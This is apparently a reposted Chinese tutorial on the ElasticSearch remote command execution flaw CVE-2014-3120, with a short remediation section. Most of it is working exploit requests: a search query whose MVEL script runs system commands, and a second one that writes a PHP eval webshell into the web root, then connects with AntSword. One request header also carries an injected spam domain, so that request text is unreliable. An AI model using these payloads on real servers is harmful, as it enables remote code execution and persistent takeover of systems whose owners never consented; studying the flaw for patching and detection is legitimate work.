ElasticSearch 命令執行漏洞(CVE-2014-3120)


ElasticSearch簡介

        ElasticSearch是一個基於Lucene構建的開源,分布式,RESTful搜索引擎。設計用於雲計算中,能夠達到實時搜索,穩定,可靠,快速,安裝使用方便。支持通過HTTP使用JSON進行數據索引。

 

 

CVE-2014-3120原理       

 

 

        ElasticSearch有腳本執行的功能,使用的引擎為MVEL,該引擎沒有做任何的防護,或者沙盒包裝,所以可以直接執行任意代碼。

由於在ElasticSearch的默認配置下,動態腳本執行功能處於打開狀態,導致用戶可以構造惡意的請求包,執行任意代碼。

 

漏洞測試       

 

 

ElasticSearch版本:v1.1.1

利用該漏洞之前,es至少需要存在一條數據,通過以下請求包創建數據:

 

POST /mitian/mitian6/ HTTP/1.1Host: 192.168.0.16:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22{  "name": "kjsx"}

 

 

通過構造特定的數據包,執行任意命令:

 

POST /_search?pretty HTTP/1.1Host: 192.168.0.16:9200Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 357{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"pwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}

 

 

 

getshell       

 

 

既然可以執行任意命令,那我們嘗試一下getshell

假設服務器運行着其它web服務,那么我們可以利用該漏洞把webshell寫入到web目錄下,請求如下:

 

POST /_search?pretty HTTP/1.1
Host: 192.168.0.16:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded www.gendan5.com
Content-Length: 445


{
   "size": 1,
   "query": {
     "filtered": {
       "query": {
         "match_all": {
         }
       }
     }
   },
   "script_fields": {
       "command": {
           "script": "import java.util.*;import java.io.*;PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"/var/www/html/mitian.php\", true)));writer.println(\"<?php @eval($_POST['kjsx']);?>\");writer.close();"
       }
   }
}

 

利用蟻劍,成功連接該webshell:

 

 

 

漏洞修復       

 

 

1、在配置文件config/elasticsearch.yml中,添加一行

 

script.disable_dynamic: true並重啟服務

 

2、升級ElasticSearch到1.2版本以上


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM